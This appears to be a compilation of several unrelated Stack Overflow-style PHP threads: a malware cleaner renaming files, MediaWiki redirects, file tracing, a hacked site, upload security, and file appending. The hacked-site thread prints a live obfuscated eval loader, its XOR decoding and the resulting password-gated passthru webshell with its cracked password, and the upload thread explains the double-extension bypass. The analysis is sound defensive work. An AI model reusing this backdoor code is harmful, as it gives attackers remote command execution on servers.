I have two php files on server that keep changing their extension over night. For example, file.php changes to file.php.suspected
What these two files have in common is mail() function. For example,
$mail_success = mail($_POST["email_to"], stripslashes($_POST["email_subject"]), stripslashes($_POST["email_body"]), $_app["email_headers"]);
There is nothing else that these files have in common. So, something on the server goes through the files over night and apparently dislikes these files with mail() function, changing their extension or rather adding .suspected extension to .php extension.
After a couple minutes of googling, it looks like a PHP file changing filetypes is the sign of a hacked server. Here is a post on the CPanel forums, where a guy has a similar issue and the other commenters decide that his server had been hacked.
I personally can't give you any advice to secure your site, but perhaps you should head over to SysAdmin or another community and look into making your server more secure.
I'm about 3 years late, but...
I found a piece of WordPress malware that does exactly what you describe.
It's something of a cleaner - it has 56 different functions to decide is a given ".php" file name constitutes code that needs to be rendered inoperable.
One of those indicators is a substring of what you say the two renamed files have in common:
function ryypkex($content)
{
if (strpos($content, " = mail(\$_POST[") !== FALSE) {
return TRUE;
}
If a given filename's contents match a condition, that filename gets its ".php" suffix changed to ".php.suspect".
The two instances of this cleaner that my honey pot caught use the "RC" action of the WSO web shell to immediately execute the cleaner. No on-disk cleaner code will exist. The implication is that you probably need to look for a WSO web shell somewhere in your web apps' code.
Related
I have files in a directory, "w", and I want to have those same files accessible from a different directory.
I have a MediaWiki installation in the directory 'w', creating a short url to link to the url 'wiki'. I have the files in the 'w' directory but it can be accessed from http://example.com/wiki. I want to have a second wiki entirely with the url format of http://example.com/second-wiki.
Since MediaWiki uses the content of files from a database the code never actually needs to change, even the LocalSettings.php. I set up a database system, modified the MediaWiki system, and created multi wiki support in a single database, by using a database table with input information such as the url to use. Or even use the same files and add a localsettings.php file to a directory 'w2' but use everything else from the original directory, 'w'. Is this possible? Preferably using .htaccess, or some other equally easy to edit. I don't want any changes to php configuration though.
I believe this may help...... - it is a simple redirect done in PHP so it is easy to edit later, etc.
I'll work with the fact you have a 'w' directory accessed by http://example.com/wiki and you want to access that through http://example.com/second-wiki (where 'magic' will be done to actually open the other URL).
In the 'w2' folder, make an index.php file with the following contents:
<?php
header("Location: ../w");
// NOTE: you may need to make that w/index.php or other pointer
exit();
Now, any time you access http://example.com/second-wiki, you will actually see http://example.com/wiki
Simple and easy to change later if you need to!
Not sure from the question that this is the solution (it fits the topic and some of the question text, though the question text does 'jump around' a bit...) - if it isn't, please rephrase the question to be more clear on just what you are looking for (in one place you say "the code never actually needs to change, even the LocalSettings.php" - then in another you talk about needing separate settings.....) - however, if you are looking for the 'simplest' (IMHO) way to make multiple URLs point to the same folder, this is the way to go - pure PHP and easy to mod later!
So I have a php application with lots of different files, the code is a bit of a mess.
What I want to do is install the application on my server, use it briefly, try to cover all functionality clicking here and there, and then get a log somehow that says 'these php files were used' or 'these functions were accessed'.
I don't care about function arguments, time needed, how many times each thing was called etc etc.
I just want to see if there are functions or at least whole files that are never called - so they are dead.
I know that
1) it could be possibly done by editing each file and writing something out when it is called or included
2) there may be static tools that try to follow all code paths etc.
I'm not interested in the above - i need just something, probably a php module/debugger I'm not sure, that logs which files are requested/included/run by php.
If specific functions can be traced too, even better. But even just files would be awesome.
Sound like you are looking for debugger like xdebug, specially this feature and this function trace
This is just to get a list of files that are in use. A debugger would be required to do a profiling of your project. Also reference this answer to a similar question.
The list of included files will be saved to a text file.
In your php.ini, set up auto_prepend_file to point to a file that contains the following.
<?php
function shutdown_file_output()
{
file_put_contents( 'included_files.txt', implode( PHP_EOL, get_included_files() );
}
register_shutdown_function('shutdown_file_output');
PHP's debug_backtrace() function can be used to get a full trace of a script's execution, including called functions and arguments. If you place a call to this function at the end of your script and log the output to a file or files then that should accomplish what you're looking for.
This question already has answers here:
When is eval evil in php?
(20 answers)
Closed 3 years ago.
A website of mine was recently hacked. Although the actual website remain unchanged, they were somehow able to use the domain to create a link that re-directed to an ebay phishing scam.
I've taken the website down, for obvious reasons, so I can't link to the code. I'm wondering how I can go about finding out what vulnerability they used so that I can avoid this problem in the future. The page used PHP, and also some javascript (for form validation).
Is there a free service that will scan my code for vulnerabilities? What are my other options?
Thanks,
Jeff
EDIT: I've hosted the files at [link removed]
A few things to note: There are several files in the "funcs" folder, most of which aren't used, but I left them there just in case. The "new.php" (contents below) in the "data" folder is clearly the problem. The big question is, how did someone manage to upload "new.php" to the server? There's also an RTF of the e-mail I received which has info about the scam.
(caution: this code is probably "dangerous" to your computer)
<?php
$prv=strrev('edoced_46esab');
$vrp=strrev('etalfnizg');
eval($vrp($prv("rVPRbpswFNW0P9jbNE1ChojQSDD7cm0syvoB5A/GxhiBJVoKxJC0pFr667v0pe1L2k17snyvz/G559jOLxCVxjGCfEBYc1noQfE8VL0SpUYTwQah43LQueKbh3IeQYlguBx1p/gQqkqJFUKiPsWO0Vgh9LoN1R4EoUsuq7xU3Cgxgug0DhHQiVVOjVavFK9ClbDjKH2ZLgOrbpoA0RbNj/dv3r77KF3ED237vVlkrH9Wu7srzM1uv7t3h942N5mTsYM7O52s0y5jsz3thntz6gvCPiWcEVubLpO0tme+VxdHGdq3xe90WU+0wg+hQREGEi9c9G18gprOBPPZBWTMfixP1YwFdlMcNw9UVInT5XjLYqcHQcOSTxvFGyV+5q3GPcKgOzKHHFUi+Te/YmerBK0Nua/XectlnU+JRDBq7OjWKRJOEE0tSqaKIOkHs62a+StEebFDgR4UL7jc5l0Ea9JBXNiSDD3F5bpx3Zq5syaIpudx0FiAuI7gwGVPCpW4TugtnGlf/v0EZ/kWC+8F0ZafWOXazFuzeo0JX87d9tWzvlnOf/s4Xlwdiu2cXX1m/gtT+OzyinnxHw==")));
?>
Interesting stuff going on here. The php block evaluates to a nice little "code generator":
$k32e95y83_t53h16a9t71_47s72c95r83i53p16t9_71i47s72_83c53r16y9p71t47e72d53=70;
$r95e53s9o47u32r83c16e_c71r72y32p95t83e53d_c16o9d71e47="zy6.6KL/ fnn/55#2nb6'55oo`n+\"snb6'55o{{arwquq'ts#rw\$\"v'%~~ ~q\"%u\"vtr~sao`n/55#2nb%oooKL=Kf#%.)faz64#xa}KLf6'552.43n524/65*'5.#5nb%oo}KLf/(%*3\"#nb%o}KLf\"/#nazi64#xao}K;KLyx";
$s32t83r16i71n72g_o95u53t9p47u16t72=$r95e53s9o47u32r83c16e_c71r72y32p95t83e53d_c16o9d71e47;$l72e47n71t9h_o16f_c53r83y95p32t47e71d_c9o16d53e83=strlen($s32t83r16i71n72g_o95u53t9p47u16t72);
$e72v71a16l_p83h32p_c95o53d9e47='';
for($h47u9i53v95a32m83v16s71e72m=0;$h47u9i53v95a32m83v16s71e72m<$l72e47n71t9h_o16f_c53r83y95p32t47e71d_c9o16d53e83;$h47u9i53v95a32m83v16s71e72m++)
$e72v71a16l_p83h32p_c95o53d9e47 .= chr(ord($s32t83r16i71n72g_o95u53t9p47u16t72[$h47u9i53v95a32m83v16s71e72m]) ^ $k32e95y83_t53h16a9t71_47s72c95r83i53p16t9_71i47s72_83c53r16y9p71t47e72d53);
eval("?>".$e72v71a16l_p83h32p_c95o53d9e47."<?");
When the nasty variable names are substituted for something more readable, you get:
$Coefficient=70;
$InitialString="zy6.6KL/ fnn/55#2nb6'55oo`n+\"snb6'55o{{arwquq'ts#rw\$\"v'%~~ ~q\"%u\"vtr~sao`n/55#2nb%oooKL=Kf#%.)faz64#xa}KLf6'552.43n524/65*'5.#5nb%oo}KLf/(%*3\"#nb%o}KLf\"/#nazi64#xao}K;KLyx";
$TargetString=$InitialString;
$CntLimit=strlen($TargetString);
$Output='';
for($i=0;$i<$CntLimit;$i++)
$Output .= chr(ord($TargetString[$i]) ^ $Coefficient);
eval("?>".$Output."<?");
which, when evaluated, spits out the code:
<?php
if ((isset($_GET[pass]))&(md5($_GET[pass])==
'417379a25e41bd0ac88f87dc3d029485')&(isset($_GET[c])))
{
echo '<pre>';
passthru(stripslashes($_GET[c]));
include($_GET[c]);
die('</pre>');
}
?>
Of note, the string: '417379a25e41bd0ac88f87dc3d029485' is the md5 hash of the password: Zrhenjq2009
I'll kick this around some more tomorrow.
Edit:
Ok, so I spent a few more minutes playing with this. It's looking like a remote control script. So now that this page (new.php) is sitting on your server, If a user hits this page and passes a url parameter named 'pass' with a value of 'Zrhenjq2009', they are then able to execute an external command on the server by passing the command and arguments in the url as the parameter named 'c'. So this is turning out to be a code generator which creates a backdoor on the server. Pretty cool.
I pulled down the file you uploaded and ran new.php through VirusTotal.com and it appears to be an new (or substantially modified) trojan. Additionally, it appears that 51.php is the PHPSpy trojan: VirusTotal analysis, 74.php is the PHP.Shellbot trojan VirusTotal Analysis and func.php is "webshell by orb". Looks like someone dropped a nice hack kit on your server along with the ebay phishing scripts/pages referenced in the document you uploaded.
You should probably remove the file download link in your original post.
If you get your hands on the logs, might be interesting to take a look.
Enjoy.
If you're using a VCS (version control, like git, mercurial, subversion, cvs) you can just do a diff from the last good commit and go from there.
You are using version control, right?
Do you have access to the server logs? If you have an approximate time when the first exploit occurred, they should be able to go a long ways into helping you figure out what the person did. Other than giving general advice, its really hard to say without more information.
Can you share the code (please make sure to remove user names / passwords etc)? If so I would be willing to take a look but it might take me a day or so (Sorry, I'm currently working on a SQL Injection Vulnerability report, recommendation for identifying restricted data, and future standards/process to prevent it in the future and I have four kids at home including a 3 month old).
I have searched around a bit, and have not really found a professional type response to how to have secure fileupload capability. So I wanted to get the opinion of some of the experts on this site. I am currently allowing upload of mp3s and images, and while I am pretty confident in preventing xss and injection attacks on my site, I am not really familiar with fileupload security. I basically just use php fileinfo and check an array of accepted filetypes against the filetype. For images, there is the getimagesize function and some additional checks. As far as storing them, I just have a folder within my directory, because I want the users to be able to use the files. If anyone could give me some tips I would really appreciate it.
I usually invoke ClamAV when accepting files that can be shared. With PHP, this is rather easily accomplished with php-clamav.
One of the last things you want to do is spread malware around the globe :)
If you can, do this in the background after a file is uploaded, but before making it public. A quirk with this class is that it can load the entire ClamAV virus definition database into memory, which will almost certainly stink if PHP is running under Apache conventionally (think on the order of +120 MB of memory per instance).
Using something like beanstalkd to scan uploads then update your DB to make them public is a very good way to work around this.
I mentioned this only because the other answers had not, in no way did I intend this to be a complete solution. See the other answers posted here, this is a step you should be finishing with. Always, always, always sanitize your input, make sure it's of the expected type, etc (did I mention that you should read the other answers too?)
"malicious" files are not the only way to hurt your server (and if your site is down, it hurts your users).
For example, a possibility to hurt a server would be to upload a lot of very small files :
it would not use all the space on the disk,
but could use all available inodes...
...And when there is no free inode left, it's not possible to create any file anymore ; which, obviously, is bad.
After that, there is also the problems like :
copyright
content that is not OK to you or your users (nudity ? )
For that, there's not much you an do with technical solutions -- but an "alert the moderator" feature is oftne helpful ;-)
No, because this could easily be spoofed. There's an article that describes how a server could be attacked by uploading a 1x1 "jpg file" and how to prevent it. Good read.
The first thing to do would be to disable execution of any server side code (e.g. PHP) in that directory via server configuration. Setting up a whitelist for MIME types (or file extensions, since your server uses those to figure out the mime type in the first place) and only allowing media files (not HTML or anything) will protect you from XSS injections. Those combined with a file type check should be quite sufficient - the only thing I can think of that might get through those are things that exploit image/audio decoders, and for spotting those you'd need something close to a virus scanner.
To start with the "file-type" ($_FILES['userfile']['type']) is completely meaningless. This is a variable in the HTTP post request that can be ANY VALUE the attacker wants. Remove this check ASAP.
getimagesize() Is an excellent way to verify that an image is real. Sounds files can be a bit more tricky, you could call file /tmp/temp_uploaded_file on the commandline.
By far the most important part of an uploaded file is the file's extension. If the file is a .php, then you just got hacked. It gets worse, Apache can be configured to ignore the first file extension if it doesn't recognize it, and then use the next extension, so this file would be executed a normal .php file: backdoor.php.junk. By default this should be disabled, but it was enabled by default a few years ago.
You MUST MUST MUST use a file extension White List. So you want to force using files like: jpg,jpeg,gif,png,mp3 and reject it otherwise.
if exiv2 can't remove the metadata its probably malicious or corrupted in some way atleast. following required exiv2 be installed on your unix system. Unfortunately, this might be dangerous if the file contains malicious shell code. not sure how sturdy exiv2 is against shell exploits, so use with caution. i haven't used it, but i've thought about using it.
function isFileMalicious($file)
{
try{
$out = [];
#exec('exiv2 rm '.escapeshellarg($file).' 2>&1',$out);
if(!empty($out)){
return false;
}
}
catch(exception $e)
{
return false;
}
return true;
}
Is there a way to append or remove a line of text from a file using PHP.
I am in the process of writing a hosting control panel for my specific web hosting stack and would like to be able to make changes to the files with minimal requirements to touch the file system, and as such would like not to have to rewrite the whole file to add or remove a configuration option.
There is no way to remove a line from a file without first parsing the file into lines and then writing it out again.
You can append to a file by using fopen with the $mode set to 'a'
$fp = fopen('myfile', 'a');
For appending, you should use fopen with the $mode of a.
See this please, on how to delete a line from the file.
Yes, you can open files in append mode:
$fh = fopen('testFile.txt', 'a');
If you now write to the file, the new content gets appended.
See fopen and from this documentation:
'a': Open for writing only; place the file pointer at the end of the file. If the file does not exist, attempt to create it.
Removing the last line is not possible though.
Working with files in PHP is full of pitfalls, particularly wrt concurrency and locking. The fact that you are writing config files implies also that you are exposing tasks normally only available to a user with root privileges over the web. You did not mention these things in your post, but your question is trivial in comparison to addressing these issues.
Regarding your question - although its fairly trivial to implement what you propose (e.g. by exec'ing sed - although you did not did say what OS this is running on) I'd recommend creating a copy of the original file in some other representation - obvious candidates would be a database - where you can apply sequence numbers to the lines and easily create a gap to populate, or a PHP SplDoublyLinkedList stored in the session. Then once the user has effected as many changes as they require, regenerate the file in a single operation from the working representation.
Note that, ultimately, regardless of how you implement the solution the solution will rewrite the entire file - its just a question of how much of this process is exposed within your code.
Bear in mind, that what you are doing is just the same as most php web scripts - except while they manipulate and reqrite HTML, you're doing it with a different file type - so you might want to look at how other PHP templating systems are written, and consider whether you can create a template for your config files.
HTH
C.
If you need to change something in the middle of the file, you have to read it, parse it and save it back. Othwerwise you can only append something to the end of it.
You should not be concerned about the cost of this operation though, as it's a configuration file that won't likely be changed a hundred times every second, it should take negligible time.
If you want more flexibility in access/update/delete I think you should consider moving your configuration file to a database table.